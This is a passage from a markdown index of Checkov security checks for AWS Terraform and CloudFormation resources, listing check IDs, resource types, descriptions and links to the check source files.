[RDSInstancePerfInsightsEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerfInsightsEncryptionWithCMK.py)                                               |\n|  810 | CKV_AWS_355              | resource                         | aws_iam_group_policy                                                                             | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform               | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py)                                                                     |\n|  811 | CKV_AWS_355              | resource                         | aws_iam_policy                                                                                   | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform               | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py)                                                                     |\n|  812 | CKV_AWS_355              | resource                         | aws_iam_role_policy                                                                              | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform               | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py)                                                                     |\n|  813 | CKV_AWS_355              | resource                         | aws_iam_user_policy                                                                              | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform               | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py)                                                                     |\n|  814 | CKV_AWS_355              | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform               | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py)                                                                     |\n|  815 | CKV_AWS_356              | data                             | aws_iam_policy_document                                                                          | Ensure no IAM policies documents allow \"*\" as a statement's resource for restrictable actions                                                                                                            | Terraform               | [ResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/ResourcePolicyDocument.py)                                                                                       |\n|  816 | CKV_AWS_357              | resource                         | aws_transfer_server                                                                              | Ensure Transfer Server allows only secure protocols                                                                                                                                                      | Terraform               | [TransferServerAllowsOnlySecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerAllowsOnlySecureProtocols.py)                                                 |\n|  817 | CKV_AWS_358              | data                             | aws_iam_policy_document                                                                          | Ensure AWS GitHub Actions OIDC authorization policies only allow safe claims and claim order                                                                                                             | Terraform               | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/GithubActionsOIDCTrustPolicy.py)                                                                           |\n|  818 | CKV_AWS_359              | resource                         | aws_neptune_cluster                                                                              | Neptune DB clusters should have IAM database authentication enabled                                                                                                                                      | Terraform               | [NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py)                             |\n|  819 | CKV_AWS_360              | resource                         | AWS::DocDB::DBCluster                                                                            | Ensure DocumentDB has an adequate backup retention period                                                                                                                                                | Cloudformation          | [DocDBBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBBackupRetention.py)                                                                                  |\n|  820 | CKV_AWS_360              | resource                         | aws_docdb_cluster                                                                                | Ensure DocumentDB has an adequate backup retention period                                                                                                                                                | Terraform               | [DocDBBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBBackupRetention.py)                                                                                       |\n|  821 | CKV_AWS_361              | resource                         | AWS::Neptune::DBCluster                                                                          | Ensure that Neptune DB cluster has automated backups enabled with adequate retention                                                                                                                     | Cloudformation          | [NeptuneClusterBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterBackupRetention.py)                                                                |\n|  822 | CKV_AWS_361              | resource                         | aws_neptune_cluster                                                                              | Ensure that Neptune DB cluster has automated backups enabled with adequate retention                                                                                                                     | Terraform               | [NeptuneClusterBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterBackupRetention.py)                                                                     |\n|  823 | CKV_AWS_362              | resource                         | aws_neptune_cluster                                                                              | Neptune DB clusters should be configured to copy tags to snapshots                                                                                                                                       | Terraform               | [NeptuneDBClustersCopyTagsToSnapshots.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneDBClustersCopyTagsToSnapshots.py)                                                       |\n|  824 | CKV_AWS_363              | resource                         | AWS::Lambda::Function                                                                            | Ensure Lambda Runtime is not deprecated                                                                                                                                                                  | Cloudformation          | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py)                                                                            |\n|  825 | CKV_AWS_363              | resource                         | AWS::Serverless::Function                                                                        | Ensure Lambda Runtime is not deprecated                                                                                                                                                                  | Cloudformation          | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py)                                                                            |\n|  826 | CKV_AWS_363              | resource                         | aws_lambda_function                                                                              | Ensure Lambda Runtime is not deprecated                                                                                                                                                                  | Terraform               | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DeprecatedLambdaRuntime.py)                                                                                 |\n|  827 | CKV_AWS_364              | resource                         | AWS::Lambda::Permission                                                                          | Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount                                                                                          | Cloudformation          | [LambdaServicePermission.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaServicePermission.py)                                                                            |\n|  828 | CKV_AWS_364              | resource                         | aws_lambda_permission                                                                            | Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount                                                                                          | Terraform               | [LambdaServicePermission.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaServicePermission.py)                                                                                 |\n|  829 | CKV_AWS_365              | resource                         | aws_ses_configuration_set                                                                        | Ensure SES Configuration Set enforces TLS usage                                                                                                                                                          | Terraform               | [SesConfigurationSetDefinesTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SesConfigurationSetDefinesTLS.py)                                                                     |\n|  830 | CKV_AWS_366              | resource                         | AWS::Cognito::IdentityPool                                                                       | Ensure AWS Cognito identity pool does not allow unauthenticated guest access                                                                                                                             | Cloudformation          | [CognitoUnauthenticatedIdentities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CognitoUnauthenticatedIdentities.py)                                                          |\n|  831 | CKV_AWS_366              | resource                         | aws_cognito_identity_pool                                                                        | Ensure AWS Cognito identity pool does not allow unauthenticated guest access                                                                                                                             | Terraform               | [CognitoUnauthenticatedIdentities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CognitoUnauthenticatedIdentities.py)                                                               |\n|  832 | CKV_AWS_367              | resource                         | AWS::SageMaker::DataQualityJobDefinition                                                         | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts                                                                                                                             | Cloudformation          | [SagemakerDataQualityJobDefinitionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py)                                    |\n|  833 | CKV_AWS_367              | resource                         | aws_sagemaker_data_quality_job_definition                                                        | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts                                                                                                                             | Terraform               | [SagemakerDataQualityJobDefinitionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py)                                         |\n|  834 | CKV_AWS_368              | resource                         | AWS::SageMaker::DataQualityJobDefinition                                                         | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume                                                                                                             | Cloudformation          | [SagemakerDataQualityJobDefinitionVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py)                        |\n|  835 | CKV_AWS_368              | resource                         | aws_sagemaker_data_quality_job_definition                                                        | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume                                                                                                             | Terraform               | [SagemakerDataQualityJobDefinitionVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py)                             |\n|  836 | CKV_AWS_369              | resource                         | AWS::SageMaker::DataQualityJobDefinition                                                         | Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs                                                                                          | Cloudformation          | [SagemakerDataQualityJobDefinitionTrafficEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py)                      |\n|  837 | CKV_AWS_369              | resource                         | aws_sagemaker_data_quality_job_definition                                                        | Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs                                                                                          | Terraform               | [SagemakerDataQualityJobDefinitionTrafficEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py)                           |\n|  838 | CKV_AWS_370              | resource                         | AWS::SageMaker::Model                                                                            | Ensure Amazon SageMaker model uses network isolation                                                                                                                                                     | Cloudformation          | [SagemakerModelWithNetworkIsolation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerModelWithNetworkIsolation.py)                                                      |\n|  839 | CKV_AWS_370              | resource                         | aws_sagemaker_model                                                                              | Ensure Amazon SageMaker model uses network isolation                                                                                                                                                     | Terraform               | [SagemakerModelWithNetworkIsolation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerModelWithNetworkIsolation.py)                                                           |\n|  840 | CKV_AWS_371              | resource                         | AWS::SageMaker::NotebookInstance                                                                 | Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2                                                                                                                                         | Cloudformation          | [SagemakerNotebookInstanceAllowsIMDSv2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py)                                                |\n|  841 | CKV_AWS_371              | resource                         | aws_sagemaker_notebook_instance                                                                  | Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2                                                                                                                                         | Terraform               | [SagemakerNotebookInstanceAllowsIMDSv2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py)                                                     |\n|  842 | CKV_AWS_372              | resource                         | aws_sagemaker_flow_definition                                                                    | Ensure Amazon SageMaker Flow Definition uses KMS for output configurations                                                                                                                               | Terraform               | [SagemakerFlowDefinitionUsesKMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerFlowDefinitionUsesKMS.py)                                                                   |\n|  843 | CKV_AWS_373              | resource                         | AWS::Bedrock::Agent                                                                              | Ensure Bedrock Agent is encrypted with a CMK                                                                                                                                                             | Cloudformation          | [BedrockAgentEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BedrockAgentEncrypted.py)                                                                                |\n|  844 | CKV_AWS_373              | resource                         | aws_bedrockagent_agent                                                                           | Ensure Bedrock Agent is encrypted with a CMK                                                                                                                                                             | Terraform               | [BedrockAgentEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BedrockAgentEncrypted.py)                                                                                     |\n|  845 | CKV_AWS_374              | resource                         | aws_cloudfront_distribution                                                                      | Ensure AWS CloudFront web distribution has geo restriction enabled                                                                                                                                       | Terraform               | [CloudFrontGeoRestrictionDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudFrontGeoRestrictionDisabled.py)                                                               |\n|  846 | CKV_AWS_375              | resource                         | aws_s3_bucket_acl                                                                                | Ensure AWS S3 bucket does not have global view ACL permissions enabled                                                                                                                                   | Terraform               | [S3GlobalViewACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3GlobalViewACL.py)                                                                                                 |\n|  847 | CKV_AWS_376              | resource                         | aws_elb                                                                                          | Ensure AWS Elastic Load Balancer listener uses TLS/SSL                                                                                                                                                   | Terraform               | [ELBwListenerNotTLSSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBwListenerNotTLSSSL.py)                                                                                     |\n|  848 | CKV_AWS_377              | resource                         | aws_route53domains_registered_domain                                                             | Ensure Route 53 domains have transfer lock protection                                                                                                                                                    | Terraform               | [Route53TransferLock.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/Route53TransferLock.py)                                                                                         |\n|  849 | CKV_AWS_378              | resource                         | aws_alb_listener                                                                                 | Ensure AWS Load Balancer doesn't use HTTP protocol                                                                                                                                                       | Terraform               | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml)                                                                                             |\n|  850 | CKV_AWS_378              | resource                         | aws_alb_target_group                                                                             | Ensure AWS Load Balancer doesn't use HTTP protocol                                                                                                                                                       | Terraform               | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml)                                                                                             |\n|  851 | CKV_AWS_378              | resource                         | aws_lb_listener                                                                                  | Ensure AWS Load Balancer doesn't use HTTP protocol                                                                                                                                                       | Terraform               | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml)                                                                                             |\n|  852 | CKV_AWS_378              | resource                         | aws_lb_target_group                                                                              | Ensure AWS Load Balancer doesn't use HTTP protocol                                                                                                                                                       | Terraform               | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml)                                                                                             |\n|  853 | CKV_AWS_379              | resource                         | aws_s3_bucket_acl                                                                                | Ensure AWS S3 bucket is configured with secure data transport policy                                                                                                                                     | Terraform               | [S3SecureDataTransport.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3SecureDataTransport.py)                                                                                     |\n|  854 | CKV_AWS_380              | resource                         | aws_transfer_server                                                                              | Ensure AWS Transfer Server uses latest Security Policy                                                                                                                                                   | Terraform               | [TransferServerLatestPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerLatestPolicy.py)                                                                           |\n|  855 | CKV_AWS_381              | resource                         | aws_codegurureviewer_repository_association                                                      | Make sure that aws_codegurureviewer_repository_association has a CMK                                                                                                                                     | Terraform               | [AWSCodeGuruHasCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AWSCodeGuruHasCMK.py)                                                                                             |\n|  856 | CKV_AWS_382              | resource                         | aws_security_group                                                                               | Ensure no security groups allow egress from 0.0.0.0:0 to port -1                                                                                                                                         | Terraform               | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py)                                                           |\n|  857 | CKV_AWS_382              | resource                         | aws_security_group_rule                                                                          | Ensure no security groups allow egress from 0.0.0.0:0 to port -1                                                                                                                                         | Terraform               | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py)                                                           |\n|  858 | CKV_AWS_382              | resource                         | aws_vpc_security_group_egress_rule                                                               | Ensure no security groups allow egress from 0.0.0.0:0 to port -1                                                                                                                                         | Terraform               | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py)                                                           |\n|  859 | CKV_AWS_383              | resource                         | aws_bedrockagent_agent                                                                           | Ensure AWS Bedrock agent is associated with Bedrock guardrails                                                                                                                                           | Terraform               | [BedrockGuardrails.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BedrockGuardrails.py)                                                                                             |\n|  860 | CKV_AWS_384              | resource                         | AWS::SSM::Parameter                                                                              | Ensure no hard-coded secrets exist in Parameter Store values                                                                                                                                             | Cloudformation          | [ParameterStoreCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ParameterStoreCredentials.py)                                                                        |\n|  861 | CKV_AWS_385              | resource                         | aws_sns_topic_policy                                                                             | Ensure AWS SNS topic policies do not allow cross-account access                                                                                                                                          | Terraform               | [SNSCrossAccountAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSCrossAccountAccess.py)                                                                                     |\n|  862 | CKV_AWS_386              | data                             | aws_ami                                                                                          | Reduce potential for WhoAMI cloud image name confusion attack                                                                                                                                            | Terraform               | [WhoAMI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/WhoAMI.py)                                                                                                                       |\n|  863 | CKV_AWS_387              | resource                         | aws_sqs_queue_policy                                                                             | Ensure SQS policy does not allow public access through wildcards                                                                                                                                         | Terraform               | [SQSOverlyPermissive.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSOverlyPermissive.py)                                                                                         |\n|  864 | CKV_AWS_388              | resource                         | aws_db_instance                                                                                  | Ensure AWS Aurora PostgreSQL is not exposed to local file read vulnerability                                                                                                                             | Terraform               | [UnpatchedAuroraPostgresDB.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/UnpatchedAuroraPostgresDB.py)                                                                             |\n|  865 | CKV_AWS_389              | resource                         | aws_launch_configuration                                                                         | Ensure AWS Auto Scaling group launch configuration doesn't have public IP address assignment enabled                                                                                                     | Terraform               | [AutoScalingGroupWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingGroupWithPublicAccess.py)                                                               |\n|  866 | CKV_AWS_390              | resource                         | aws_emr_block_public_access_configuration                                                        | Ensure AWS EMR block public access setting is enabled                                                                                                                                                    | Terraform               | [EMRPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRPubliclyAccessible.py)                                                                                     |\n|  867 | CKV_AWS_391              | resource                         | aws_redshift_cluster                                                                             | Avoid AWS Redshift cluster with commonly used master username and public access setting enabled                                                                                                          | Terraform               | [RedshiftClusterWithCommonUsernameAndPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterWithCommonUsernameAndPublicAccess.py)                               |\n|  868 | CKV_AWS_392              | resource                         | aws_s3_access_point                                                                              | Ensure AWS S3 access point block public access setting is enabled                                                                                                                                        | Terraform               | [S3AccessPointPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AccessPointPubliclyAccessible.py)                                                                 |\n|  869 | CKV2_AWS_1               | resource                         | aws_network_acl                                                                                  | Ensure that all NACL are attached to subnets                                                                                                                                                             | Terraform               | [SubnetHasACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SubnetHasACL.yaml)                                                                                               |\n|  870 | CKV2_AWS_1               | resource                         | aws_subnet                                                                                       | Ensure that all NACL are attached to subnets                                                                                                                                                             | Terraform               | [SubnetHasACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SubnetHasACL.yaml)                                                                                               |\n|  871 | CKV2_AWS_2               | resource                         | aws_ebs_volume                                                                                   | Ensure that only encrypted EBS volumes are attached to EC2 instances                                                                                                                                     | Terraform               | [EncryptedEBSVolumeOnlyConnectedToEC2s.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EncryptedEBSVolumeOnlyConnectedToEC2s.yaml)                                             |\n|  872 | CKV2_AWS_2               | resource                         | aws_volume_attachment                                                                            | Ensure that only encrypted EBS volumes are attached to EC2 instances                                                                                                                                     | Terraform               | [EncryptedEBSVolumeOnlyConnectedToEC2s.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EncryptedEBSVolumeOnlyConnectedToEC2s.yaml)                                             |\n|  873 | CKV2_AWS_3               | resource                         | aws_guardduty_detector                                                                           | Ensure GuardDuty is enabled to specific org/region                                                                                                                                                       | Terraform               | [GuardDutyIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/GuardDutyIsEnabled.yaml)                                                                                   |\n|  874 | CKV2_AWS_3               | resource                         | aws_guardduty_organization_configuration                                                         | Ensure GuardDuty is enabled to specific org/region                                                                                                                                                       | Terraform               | [GuardDutyIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/GuardDutyIsEnabled.yaml)                                                                                   |\n|  875 | CKV2_AWS_4               | resource                         | aws_api_gateway_method_settings                                                                  | Ensure API Gateway stage have logging level defined as appropriate                                                                                                                                       | Terraform               | [APIGWLoggingLevelsDefinedProperly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGWLoggingLevelsDefinedProperly.yaml)                                                     |\n|  876 | CKV2_AWS_4               | resource                         | aws_api_gateway_stage                                                                            | Ensure API Gateway stage have logging level defined as appropriate                                                                                                                                       | Terraform               | [APIGWLoggingLevelsDefinedProperly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGWLoggingLevelsDefinedProperly.yaml)                                                     |\n|  877 | CKV2_AWS_5               | resource                         | aws_security_group                                                                               | Ensure that Security Groups are attached to another resource                                                                                                                                             | Terraform               | [SGAttachedToResource.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SGAttachedToResource.yaml)                                                                               |\n|  878 | CKV2_AWS_6               | resource                         | aws_s3_bucket                                                                                    | Ensure that S3 bucket has a Public Access block                                                                                                                                                          | Terraform               | [S3BucketHasPublicAccessBlock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketHasPublicAccessBlock.yaml)                                                               |\n|  879 | CKV2_AWS_6               | resource                         | aws_s3_bucket_public_access_block                                                                | Ensure that S3 bucket has a Public Access block                                                                                                                                                          | Terraform               | [S3BucketHasPublicAccessBlock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketHasPublicAccessBlock.yaml)                                                               |\n|  880 | CKV2_AWS_7               | resource                         | aws_emr_cluster                                                                                  | Ensure that Amazon EMR clusters' security groups are not open to the world                                                                                                                               | Terraform               | [AMRClustersNotOpenToInternet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AMRClustersNotOpenToInternet.yaml)                                                               |\n|  881 | CKV2_AWS_7               | resource                         | aws_security_group                                                                               | Ensure that Amazon EMR clusters' security groups are not open to the world                                                                                                                               | Terraform               | [AMRClustersNotOpenToInternet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AMRClustersNotOpenToInternet.yaml)                                                               |\n|  882 | CKV2_AWS_8               | resource                         | aws_rds_cluster                                                                                  | Ensure that RDS clusters has backup plan of AWS Backup                                                                                                                                                   | Terraform               | [RDSClusterHasBackupPlan.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSClusterHasBackupPlan.yaml)                                                                         |\n|  883 | CKV2_AWS_9               | resource                         | aws_backup_selection                                                                             | Ensure that EBS are added in the backup plans of AWS Backup                                                                                                                                              | Terraform               | [EBSAddedBackup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EBSAddedBackup.yaml)                                                                                           |\n|  884 | CKV2_AWS_10              | resource                         | aws_cloudtrail                                                                                   | Ensure CloudTrail trails are integrated with CloudWatch Logs                                                                                                                                             | Terraform               | [CloudtrailHasCloudwatch.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudtrailHasCloudwatch.yaml)                                                                         |\n|  885 | CKV2_AWS_11              | resource                         | aws_vpc                                                                                          | Ensure VPC flow logging is enabled in all VPCs                                                                                                                                                           | Terraform               | [VPCHasFlowLog.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasFlowLog.yaml)                                                                                             |\n|  886 | CKV2_AWS_12              | resource                         | aws_default_security_group                                                                       | Ensure the default security group of every VPC restricts all traffic                                                                                                                                     | Terraform               | [VPCHasRestrictedSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasRestrictedSG.yaml)                                                                                   |\n|  887 | CKV2_AWS_12              | resource                         | aws_vpc                                                                                          | Ensure the default security group of every VPC restricts all traffic                                                                                                                                     | Terraform               | [VPCHasRestrictedSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasRestrictedSG.yaml)                                                                                   |\n|  888 | CKV2_AWS_14              | resource                         | aws_iam_group                                                                                    | Ensure that IAM groups includes at least one IAM user                                                                                                                                                    | Terraform               | [IAMGroupHasAtLeastOneUser.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMGroupHasAtLeastOneUser.yaml)                                                                     |\n|  889 | CKV2_AWS_14              | resource                         | aws_iam_group_membership                                                                         | Ensure that IAM groups includes at least one IAM user                                                                                                                                                    | Terraform               | [IAMGroupHasAtLeastOneUser.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMGroupHasAtLeastOneUser.yaml)                                                                     |\n|  890 | CKV2_AWS_15              | resource                         | aws_autoscaling_group                                                                            | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks.                                                                                 | Terraform               | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml)                                                                           |\n|  891 | CKV2_AWS_15              | resource                         | aws_elb                                                                                          | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks.                                                                                 | Terraform               | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml)                                                                           |\n|  892 | CKV2_AWS_15              | resource                         | aws_lb_target_group                                                                              | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks.                                                                                 | Terraform               | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml)                                                                           |\n|  893 | CKV2_AWS_16              | resource                         | aws_appautoscaling_target                                                                        | Ensure that Auto Scaling is enabled on your DynamoDB tables                                                                                                                                              | Terraform               | [AutoScalingEnableOnDynamoDBTables.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScalingEnableOnDynamoDBTables.yaml)                                                     |\n|  894 | CKV2_AWS_16              | resource                         | aws_dynamodb_table                                                                               | Ensure that Auto Scaling is enabled on your DynamoDB tables                                                                                                                                              | Terraform               | [AutoScalingEnableOnDynamoDBTables.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScalingEnableOnDynamoDBTables.yaml)                                                     |\n|  895 | CKV2_AWS_18              | resource                         | aws_backup_selection                                                                             | Ensure that Elastic File System (Amazon EFS) file systems are added in the backup plans of AWS Backup                                                                                                    | Terraform               | [EFSAddedBackup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EFSAddedBackup.yaml)                                                                                           |\n|  896 | CKV2_AWS_19              | resource                         | aws_eip                                                                                          | Ensure that all EIP addresses allocated to a VPC are attached to EC2 instances                                                                                                                           | Terraform               | [EIPAllocatedToVPCAttachedEC2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EIPAllocatedToVPCAttachedEC2.yaml)                                                               |\n|  897 | CKV2_AWS_19              | resource                         | aws_eip_association                                                                              | Ensure that all EIP addresses allocated to a VPC are attached to EC2 instances                                                                                                                           | Terraform               | [EIPAllocatedToVPCAttachedEC2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EIPAllocatedToVPCAttachedEC2.yaml)                                                               |\n|  898 | CKV2_AWS_20              | resource                         | aws_alb                                                                                          | Ensure that ALB redirects HTTP requests into HTTPS ones                                                                                                                                                  | Terraform               | 